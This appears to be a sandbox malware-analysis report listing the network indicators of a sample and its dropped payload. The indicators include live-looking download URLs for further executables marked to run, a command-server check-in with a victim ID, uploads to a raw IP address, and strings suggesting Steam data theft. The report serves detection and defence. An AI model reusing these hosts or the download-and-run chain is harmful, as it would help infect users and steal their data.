Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com

Source: build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: Z4CYGTBlj7.exe, 00000007.00000003.2106493507.0000000003440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: Z4CYGTBlj7.exe, 00000005.00000003.2106667063.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: Z4CYGTBlj7.exe, 00000005.00000003.2106724177.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfa equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: api.2ip.ua

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFHUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: Z4CYGTBlj7.exe, 00000005.00000002.2570707602.0000000002FD0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2554383942.0000000002FC1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2563095014.0000000002FC1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe
Source: Z4CYGTBlj7.exe, 00000005.00000002.2567109403.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$run
Source: Z4CYGTBlj7.exe, 00000005.00000002.2567109403.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$runo
Source: Z4CYGTBlj7.exe, 00000005.00000002.2570707602.0000000002FD0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2554383942.0000000002FC1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2563095014.0000000002FC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exeGum
Source: Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exerun
Source: Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000894000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000894000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php
Source: Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000733000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54
Source: Z4CYGTBlj7.exe, 00000005.00000002.2567109403.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true
Source: Z4CYGTBlj7.exe, 00000005.00000002.2567109403.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=trueV
Source: Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C546w
Source: Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54l
Source: Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54o
Source: Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000717000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.phpt
Source: Z4CYGTBlj7.exe, 00000005.00000003.2111946162.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: Z4CYGTBlj7.exe, 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000006.00000002.2046936112.0000000005C90000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000C.00000002.2177082596.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: Z4CYGTBlj7.exe, 00000005.00000002.2567109403.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.m
Source: Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000894000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe
Source: Z4CYGTBlj7.exe, 00000005.00000002.2567109403.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe$run
Source: Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exeruna02b:
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Z4CYGTBlj7.exe, 00000007.00000003.2106429231.0000000003440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: Z4CYGTBlj7.exe, 00000005.00000003.2106546892.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: Z4CYGTBlj7.exe, 00000007.00000003.2106576293.0000000003440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: Z4CYGTBlj7.exe, 00000005.00000003.2106601786.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: Z4CYGTBlj7.exe, 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: Z4CYGTBlj7.exe, 00000007.00000003.2106638994.0000000003440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287368816.000000001E8DD000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: Z4CYGTBlj7.exe, 00000005.00000003.2106667063.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: Z4CYGTBlj7.exe, 00000007.00000003.2106736210.0000000003440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: Z4CYGTBlj7.exe, 00000005.00000003.2106724177.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149
Source: build2.exe, 00000009.00000002.2284519794.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHt
Source: build2.exe, 00000009.00000002.2285261138.0000000000808000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/(
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149//
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/3
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/D
Source: build2.exe, 00000009.00000002.2285261138.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/E
Source: build2.exe, 00000009.00000002.2285261138.0000000000794000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/JDAAECGHDGDGCGHDB-walXz
Source: build2.exe, 00000009.00000002.2285261138.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/h
Source: build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/ramData
Source: build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/s
Source: build2.exe, 00000009.00000002.2284519794.0000000000514000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dll
Source: build2.exe, 00000009.00000002.2285261138.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/v
Source: build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/yA
Source: build2.exe, 00000009.00000002.2284519794.000000000051A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149FHJJD
Source: build2.exe, 00000009.00000002.2284519794.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149eUnTNnY.exe
Source: build2.exe, 00000009.00000002.2284519794.00000000005F1000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.000000000051A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149ta
Source: Z4CYGTBlj7.exe, 00000005.00000003.2109737455.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: Z4CYGTBlj7.exe, 00000001.00000002.2022968559.0000000000606000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000850000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000851000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000003.2058183341.0000000000733000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000717000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000D.00000002.2188603291.0000000000597000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000D.00000002.2188603291.0000000000558000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000017.00000002.2449153648.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000017.00000003.2447602737.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000850000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000851000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/1
Source: Z4CYGTBlj7.exe, 00000017.00000002.2449153648.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000017.00000003.2447602737.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/A
Source: Z4CYGTBlj7.exe, 00000017.00000002.2449153648.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000017.00000003.2447602737.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/N
Source: Z4CYGTBlj7.exe, 0000000D.00000002.2188603291.0000000000597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/R
Source: Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000717000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/X
Source: Z4CYGTBlj7.exe, 0000000D.00000002.2188603291.0000000000558000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000017.00000002.2449153648.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000017.00000002.2449153648.0000000000788000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000017.00000003.2447602737.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000017.00000002.2449153648.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: Z4CYGTBlj7.exe, 00000017.00000002.2449153648.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000017.00000003.2447602737.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json$i
Source: Z4CYGTBlj7.exe, 0000000D.00000002.2188603291.0000000000558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json.
Source: Z4CYGTBlj7.exe, 00000001.00000002.2022968559.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json0
Source: Z4CYGTBlj7.exe, 00000017.00000002.2449153648.0000000000788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json4
Source: Z4CYGTBlj7.exe, 00000017.00000002.2449153648.0000000000788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json=
Source: Z4CYGTBlj7.exe, 00000017.00000002.2449153648.0000000000788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonD
Source: Z4CYGTBlj7.exe, 00000001.00000002.2022968559.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonP
Source: Z4CYGTBlj7.exe, 0000000D.00000002.2188603291.0000000000597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonR
Source: Z4CYGTBlj7.exe, 00000007.00000002.4453697653.00000000006D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsona
Source: Z4CYGTBlj7.exe, 00000007.00000003.2058183341.0000000000733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonr
Source: Z4CYGTBlj7.exe, 0000000D.00000002.2188603291.0000000000558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonv
Source: build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: Z4CYGTBlj7.exe, 00000005.00000003.2117291060.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/privacy-sdx.win32.bundle.js.map/e3b0c4429
Source: Z4CYGTBlj7.exe, 00000005.00000003.2109737455.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com
Source: Z4CYGTBlj7.exe, 00000005.00000003.2109737455.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: Z4CYGTBlj7.exe, 00000005.00000003.2109737455.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: Z4CYGTBlj7.exe, 00000005.00000003.2117505827.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/generate_204
Source: build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=EyWBqDQS-6jg&a
